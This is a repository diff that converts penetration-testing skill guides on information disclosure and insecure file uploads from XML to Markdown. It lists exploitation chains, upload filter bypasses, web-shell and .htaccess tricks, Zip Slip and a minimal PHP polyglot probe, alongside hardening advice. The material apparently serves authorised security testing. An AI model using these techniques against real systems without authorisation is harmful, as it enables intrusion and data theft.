### Client Bundles and Maps
|
||||||
|
|
||||||
|
- Source maps (`.map`) reveal original sources, comments, and internal logic
|
||||||
|
- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets
|
||||||
|
- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII
|
||||||
|
|
||||||
|
### Headers and Response Metadata
|
||||||
|
|
||||||
|
- Fingerprinting: Server, X-Powered-By, X-AspNet-Version
|
||||||
|
- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers
|
||||||
|
- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range
|
||||||
|
|
||||||
|
### Storage and Exports
|
||||||
|
|
||||||
|
- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys
|
||||||
|
- Signed URLs: long-lived, weakly scoped, re-usable across tenants
|
||||||
|
- Export/report endpoints returning foreign data sets or unfiltered fields
|
||||||
|
|
||||||
|
### Observability and Admin
|
||||||
|
|
||||||
|
- Metrics: Prometheus `/metrics` exposing internal hostnames, process args
|
||||||
|
- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints
|
||||||
|
- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth
|
||||||
|
|
||||||
|
### Cross-Origin Signals
|
||||||
|
|
||||||
|
- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties
|
||||||
|
- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes
|
||||||
|
|
||||||
|
### File Metadata
|
||||||
|
|
||||||
|
- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects
|
||||||
|
|
||||||
|
### Cloud Storage
|
||||||
|
|
||||||
|
- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers
|
||||||
|
- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Differential Oracles
|
||||||
|
|
||||||
|
- Compare owner vs non-owner vs anonymous for the same resource
|
||||||
|
- Track: status, length, ETag, Last-Modified, Cache-Control
|
||||||
|
- HEAD vs GET: header-only differences can confirm existence
|
||||||
|
- Conditional requests: 304 vs 200 behaviors leak existence/state
|
||||||
|
|
||||||
|
### CDN and Cache Keys
|
||||||
|
|
||||||
|
- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers
|
||||||
|
- Vary misconfiguration: user-agent/language vary without auth vary leaks content
|
||||||
|
- 206 partial content + stale caches leak object fragments
|
||||||
|
|
||||||
|
### Cross-Channel Mirroring
|
||||||
|
|
||||||
|
- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC
|
||||||
|
- SSR vs CSR: server-rendered pages omit fields while JSON API includes them
|
||||||
|
|
||||||
|
## Triage Rubric
|
||||||
|
|
||||||
|
- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels
|
||||||
|
- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content
|
||||||
|
- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints
|
||||||
|
- **Low**: Generic headers, marketing versions, intended documentation without exploit path
|
||||||
|
|
||||||
|
## Exploitation Chains
|
||||||
|
|
||||||
|
### Credential Extraction
|
||||||
|
- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)
|
||||||
|
- Keys → cloud control plane access
|
||||||
|
|
||||||
|
### Version to CVE
|
||||||
|
1. Derive precise component versions from headers/errors/bundles
|
||||||
|
2. Map to known CVEs and confirm reachability
|
||||||
|
3. Execute minimal proof targeting disclosed component
|
||||||
|
|
||||||
|
### Path Disclosure to LFI
|
||||||
|
1. Paths from stack traces/templates reveal filesystem layout
|
||||||
|
2. Use LFI/traversal to fetch config/keys
|
||||||
|
|
||||||
|
### Schema to Auth Bypass
|
||||||
|
1. Schema reveals hidden fields/endpoints
|
||||||
|
2. Attempt requests with those fields; confirm missing authorization
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN
|
||||||
|
2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers
|
||||||
|
3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types
|
||||||
|
4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs
|
||||||
|
5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Provide raw evidence (headers/body/artifact) and explain exact data revealed
|
||||||
|
2. Determine intent: cross-check docs/UX; classify per triage rubric
|
||||||
|
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain
|
||||||
|
4. Show reproducibility and minimal request set
|
||||||
|
5. Bound scope (user, tenant, environment) and data sensitivity classification
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
|
- Intentional public docs or non-sensitive metadata with no exploit path
|
||||||
|
- Generic errors with no actionable details
|
||||||
|
- Redacted fields that do not change differential oracles
|
||||||
|
- Version banners with no exposed vulnerable surface and no chain
|
||||||
|
- Owner-visible-only details that do not cross identity/tenant boundaries
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
|
||||||
|
- Credential/secret exposure leading to persistent external compromise
|
||||||
|
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
|
||||||
|
- Privacy/regulatory violations and business intelligence leakage
|
||||||
|
|
||||||
|
## Pro Tips
|
||||||
|
|
||||||
|
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins
|
||||||
|
2. Normalize responses and diff by digest to reduce noise when comparing roles
|
||||||
|
3. Hunt source maps and client data JSON; they often carry internal IDs and flags
|
||||||
|
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant
|
||||||
|
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC
|
||||||
|
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups
|
||||||
|
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.
|
||||||
@@ -1,188 +0,0 @@
|
|||||||
<insecure_file_uploads_guide>
|
|
||||||
<title>INSECURE FILE UPLOADS</title>
|
|
||||||
|
|
||||||
<critical>Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.</critical>
|
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
|
||||||
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
|
||||||
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
|
||||||
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Map the pipeline: client → ingress (edge/app/gateway) → storage → processors (thumb, OCR, AV, CDR) → serving (app/storage/CDN). Note where validation and auth occur.
|
|
||||||
2. Identify allowed types, size limits, filename rules, storage keys, and who serves the content. Collect baseline uploads per type and capture resulting URLs and headers.
|
|
||||||
3. Exercise bypass families systematically: extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure, chunk/finalize differentials.
|
|
||||||
4. Validate execution and rendering: can uploaded content execute on server or client? Confirm with minimal PoCs and headers analysis.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
|
||||||
<surface_map>
|
|
||||||
- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
|
|
||||||
- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
|
|
||||||
- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
|
|
||||||
- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
|
|
||||||
</surface_map>
|
|
||||||
|
|
||||||
<capability_probes>
|
|
||||||
- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
|
|
||||||
- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
|
|
||||||
- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
|
|
||||||
- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
|
|
||||||
</capability_probes>
|
|
||||||
</discovery_techniques>
|
|
||||||
|
|
||||||
<detection_channels>
|
|
||||||
<server_execution>
|
|
||||||
- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
|
|
||||||
- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
|
|
||||||
</server_execution>
|
|
||||||
|
|
||||||
<client_execution>
|
|
||||||
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
|
||||||
</client_execution>
|
|
||||||
|
|
||||||
<header_and_render>
|
|
||||||
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
|
||||||
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
|
||||||
</header_and_render>
|
|
||||||
|
|
||||||
<process_side_effects>
|
|
||||||
- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
|
|
||||||
</process_side_effects>
|
|
||||||
</detection_channels>
|
|
||||||
|
|
||||||
<core_payloads>
|
|
||||||
<web_shells_and_configs>
|
|
||||||
- PHP: GIF polyglot (starts with GIF89a) followed by <?php echo 1; ?>; place where PHP is executed
|
|
||||||
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
|
||||||
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
|
||||||
</web_shells_and_configs>
|
|
||||||
|
|
||||||
<stored_xss>
|
|
||||||
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
|
||||||
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
|
||||||
</stored_xss>
|
|
||||||
|
|
||||||
<mime_magic_polyglots>
|
|
||||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
|
||||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
|
||||||
</mime_magic_polyglots>
|
|
||||||
|
|
||||||
<archive_attacks>
|
|
||||||
- Zip Slip: entries with ../../ to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
|
||||||
- Zip bomb: extreme compression ratios (e.g., 42.zip) to exhaust resources in processors
|
|
||||||
</archive_attacks>
|
|
||||||
|
|
||||||
<toolchain_exploits>
|
|
||||||
- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
|
|
||||||
- Ghostscript in PDF/PS with file operators (%pipe%)
|
|
||||||
- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
|
|
||||||
</toolchain_exploits>
|
|
||||||
|
|
||||||
<cloud_storage_vectors>
|
|
||||||
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
|
||||||
- Public-read ACL or permissive bucket policies expose uploads broadly; object key injection via user-controlled path prefixes
|
|
||||||
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
|
||||||
</cloud_storage_vectors>
|
|
||||||
</core_payloads>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<resumable_multipart>
|
|
||||||
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
|
||||||
- Upload benign chunks, then swap last chunk or complete with different source if server trusts client-side digests only
|
|
||||||
</resumable_multipart>
|
|
||||||
|
|
||||||
<filename_and_path>
|
|
||||||
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators and filesystem rules
|
|
||||||
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
|
||||||
</filename_and_path>
|
|
||||||
|
|
||||||
<processing_races>
|
|
||||||
- Request file immediately after upload but before AV/CDR completes; or during derivative creation to get unprocessed content
|
|
||||||
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
|
||||||
</processing_races>
|
|
||||||
|
|
||||||
<metadata_abuse>
|
|
||||||
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws; payloads in document properties of Office/PDF rendered by previewers
|
|
||||||
</metadata_abuse>
|
|
||||||
|
|
||||||
<header_manipulation>
|
|
||||||
- Force inline rendering with Content-Type + inline Content-Disposition; test browsers with and without nosniff
|
|
||||||
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
|
||||||
</header_manipulation>
|
|
||||||
</advanced_techniques>
|
|
||||||
|
|
||||||
<filter_bypasses>
|
|
||||||
<validation_gaps>
|
|
||||||
- Client-side only checks; relying on JS/MIME provided by browser; trusting multipart boundary part headers blindly
|
|
||||||
- Extension allowlists without server-side content inspection; magic-bytes only without full parsing
|
|
||||||
</validation_gaps>
|
|
||||||
|
|
||||||
<evasion_tricks>
|
|
||||||
- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
|
|
||||||
- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
|
|
||||||
</evasion_tricks>
|
|
||||||
</filter_bypasses>
|
|
||||||
|
|
||||||
<special_contexts>
|
|
||||||
<rich_text_editors>
|
|
||||||
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers for embedded content
|
|
||||||
</rich_text_editors>
|
|
||||||
|
|
||||||
<mobile_clients>
|
|
||||||
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations or EXIF orientation
|
|
||||||
</mobile_clients>
|
|
||||||
|
|
||||||
<serverless_and_cdn>
|
|
||||||
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify that security decisions are not delegated to frontends
|
|
||||||
- CDN caching of uploaded content; ensure correct cache keys and headers (attachment, nosniff)
|
|
||||||
</serverless_and_cdn>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<parser_hardening>
|
|
||||||
- Validate on server: strict allowlist by true type (parse enough to confirm), size caps, and structural checks (dimensions, page count)
|
|
||||||
- Strip active content: convert SVG→PNG; remove scripts/JS from PDF; disable macros; normalize EXIF; consider CDR for risky types
|
|
||||||
- Store outside web root; serve via application or signed, time-limited URLs with Content-Disposition: attachment and X-Content-Type-Options: nosniff
|
|
||||||
- For cloud: private buckets, per-request signed GET, enforce Content-Type/Disposition on GET responses from your app/gateway
|
|
||||||
- Disable execution in upload paths; ignore .htaccess/.user.ini; sanitize keys to prevent path injections; randomize filenames
|
|
||||||
- AV + CDR: scan synchronously when possible; quarantine until verdict; block password-protected archives or process in sandbox
|
|
||||||
</parser_hardening>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed.
|
|
||||||
2. Show filter bypass: upload accepted despite restrictions (extension/MIME/magic mismatch) with evidence on retrieval.
|
|
||||||
3. Prove header weaknesses: inline rendering without nosniff or missing attachment; present exact response headers.
|
|
||||||
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory; derivative creation from malicious input.
|
|
||||||
5. Provide reproducible steps: request/response for upload and subsequent access, with minimal PoCs.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Upload stored but never served back; or always served as attachment with strict nosniff
|
|
||||||
- Converters run in locked-down sandboxes with no external IO and no script engines; no path traversal on archive extraction
|
|
||||||
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Remote code execution on application stack or media toolchain host
|
|
||||||
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
|
||||||
- Malware distribution via public storage/CDN; brand/reputation damage
|
|
||||||
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs or oversized assets
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant, and benign magic-byte polyglots.
|
|
||||||
2. Always capture download response headers and final MIME from the server/CDN; that decides browser behavior.
|
|
||||||
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than attempting complex sanitization.
|
|
||||||
4. In presigned flows, constrain all headers and object keys server-side; ignore client-supplied ACL and metadata.
|
|
||||||
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal.
|
|
||||||
6. Test finalize/complete steps in resumable flows; many validations only run on init, not at completion.
|
|
||||||
7. Verify background processors with EICAR and tiny polyglots; ensure quarantine gates access until safe.
|
|
||||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution; both are impactful.
|
|
||||||
9. Validate that CDNs honor attachment/nosniff and do not override Content-Type/Disposition.
|
|
||||||
10. Document full pipeline behavior per asset type; defenses must match actual processors and serving paths.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.</remember>
|
|
||||||
</insecure_file_uploads_guide>
|
|
||||||
188
strix/skills/vulnerabilities/insecure_file_uploads.md
Normal file
188
strix/skills/vulnerabilities/insecure_file_uploads.md
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
---
|
||||||
|
name: insecure-file-uploads
|
||||||
|
description: File upload security testing covering extension bypass, content-type manipulation, and path traversal
|
||||||
|
---
|
||||||
|
|
||||||
|
# Insecure File Uploads
|
||||||
|
|
||||||
|
Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
||||||
|
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
||||||
|
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
||||||
|
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
### Surface Map
|
||||||
|
|
||||||
|
- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
|
||||||
|
- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
|
||||||
|
- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
|
||||||
|
- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
|
||||||
|
|
||||||
|
### Capability Probes
|
||||||
|
|
||||||
|
- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
|
||||||
|
- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
|
||||||
|
- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
|
||||||
|
- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
|
||||||
|
|
||||||
|
## Detection Channels
|
||||||
|
|
||||||
|
### Server Execution
|
||||||
|
|
||||||
|
- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
|
||||||
|
- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
|
||||||
|
|
||||||
|
### Client Execution
|
||||||
|
|
||||||
|
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
||||||
|
|
||||||
|
### Header and Render
|
||||||
|
|
||||||
|
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
||||||
|
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
||||||
|
|
||||||
|
### Process Side Effects
|
||||||
|
|
||||||
|
- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
|
||||||
|
|
||||||
|
## Core Payloads
|
||||||
|
|
||||||
|
### Web Shells and Configs
|
||||||
|
|
||||||
|
- PHP: GIF polyglot (starts with GIF89a) followed by `<?php echo 1; ?>`; place where PHP is executed
|
||||||
|
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
||||||
|
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
||||||
|
|
||||||
|
### Stored XSS
|
||||||
|
|
||||||
|
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
||||||
|
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
||||||
|
|
||||||
|
### MIME Magic Polyglots
|
||||||
|
|
||||||
|
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||||
|
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||||
|
|
||||||
|
### Archive Attacks
|
||||||
|
|
||||||
|
- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
||||||
|
- Zip bomb: extreme compression ratios to exhaust resources in processors
|
||||||
|
|
||||||
|
### Toolchain Exploits
|
||||||
|
|
||||||
|
- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
|
||||||
|
- Ghostscript in PDF/PS with file operators (%pipe%)
|
||||||
|
- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
|
||||||
|
|
||||||
|
### Cloud Storage Vectors
|
||||||
|
|
||||||
|
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
||||||
|
- Public-read ACL or permissive bucket policies expose uploads broadly
|
||||||
|
- Object key injection via user-controlled path prefixes
|
||||||
|
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
||||||
|
|
||||||
|
## Advanced Techniques
|
||||||
|
|
||||||
|
### Resumable Multipart
|
||||||
|
|
||||||
|
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
||||||
|
- Upload benign chunks, then swap last chunk or complete with different source
|
||||||
|
|
||||||
|
### Filename and Path
|
||||||
|
|
||||||
|
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators
|
||||||
|
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
||||||
|
|
||||||
|
### Processing Races
|
||||||
|
|
||||||
|
- Request file immediately after upload but before AV/CDR completes
|
||||||
|
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
||||||
|
|
||||||
|
### Metadata Abuse
|
||||||
|
|
||||||
|
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws
|
||||||
|
- Payloads in document properties of Office/PDF rendered by previewers
|
||||||
|
|
||||||
|
### Header Manipulation
|
||||||
|
|
||||||
|
- Force inline rendering with Content-Type + inline Content-Disposition
|
||||||
|
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
### Validation Gaps
|
||||||
|
|
||||||
|
- Client-side only checks; relying on JS/MIME provided by browser
|
||||||
|
- Trusting multipart boundary part headers blindly
|
||||||
|
- Extension allowlists without server-side content inspection
|
||||||
|
|
||||||
|
### Evasion Tricks
|
||||||
|
|
||||||
|
- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
|
||||||
|
- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
|
||||||
|
|
||||||
|
## Special Contexts
|
||||||
|
|
||||||
|
### Rich Text Editors
|
||||||
|
|
||||||
|
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers
|
||||||
|
|
||||||
|
### Mobile Clients
|
||||||
|
|
||||||
|
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations
|
||||||
|
|
||||||
|
### Serverless and CDN
|
||||||
|
|
||||||
|
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends
|
||||||
|
- CDN caching of uploaded content; ensure correct cache keys and headers
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
|
||||||
|
2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
|
||||||
|
3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
|
||||||
|
4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
|
||||||
|
5. **Validate execution** - Can uploaded content execute on server or client?
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed
|
||||||
|
2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval
|
||||||
|
3. Prove header weaknesses: inline rendering without nosniff or missing attachment
|
||||||
|
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory
|
||||||
|
5. Provide reproducible steps: request/response for upload and subsequent access
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
|
- Upload stored but never served back; or always served as attachment with strict nosniff
|
||||||
|
- Converters run in locked-down sandboxes with no external IO and no script engines
|
||||||
|
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
||||||
|
|
||||||
|
## Impact
|
||||||
|
|
||||||
|
- Remote code execution on application stack or media toolchain host
|
||||||
|
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
||||||
|
- Malware distribution via public storage/CDN; brand/reputation damage
|
||||||
|
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs
|
||||||
|
|
||||||
|
## Pro Tips
|
||||||
|
|
||||||
|
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant
|
||||||
|
2. Always capture download response headers and final MIME; that decides browser behavior
|
||||||
|
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization
|
||||||
|
4. In presigned flows, constrain all headers and object keys server-side
|
||||||
|
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal
|
||||||
|
6. Test finalize/complete steps in resumable flows; many validations only run on init
|
||||||
|
7. Verify background processors with EICAR and tiny polyglots
|
||||||
|
8. When you cannot get execution, aim for stored XSS or header-driven script execution
|
||||||
|
9. Validate that CDNs honor attachment/nosniff
|
||||||
|
10. Document full pipeline behavior per asset type
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user